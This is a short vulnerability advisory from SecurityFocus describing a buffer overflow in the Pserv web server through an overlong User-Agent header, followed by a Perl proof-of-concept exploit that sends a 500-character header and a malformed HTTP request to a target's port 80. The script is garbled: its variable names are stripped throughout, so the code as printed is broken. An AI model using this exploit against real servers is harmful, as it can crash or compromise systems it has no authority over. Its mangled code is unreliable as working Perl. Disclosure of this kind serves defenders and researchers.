source: http://www.securityfocus.com/bid/6286/info

A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections. 

An attacker can exploit this vulnerability by issuing a HTTP request with an overly long User-Agent header. Due to insufficient buffers being allocated when processing the data, it may be possible to corrupt sensitive memory on the system stack.

#!/usr/bin/perl -w

use IO::Socket;

 = "Pserv 2.0 Beta 1, 2, 3, 5";

unless (@ARGV == 1) {
print "\n By Sapient2003\n";
die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 = "A" x 500;

 = "GET / HTTP/1.0\nUser-Agent: \n\n";
 = "GET / HTTP/1.0\n\n";
 = "GET / HTTP/1.\n\n";

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit User-Agent HTTP Header\n";
close();

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit HTTP Request Parsing\n";
close();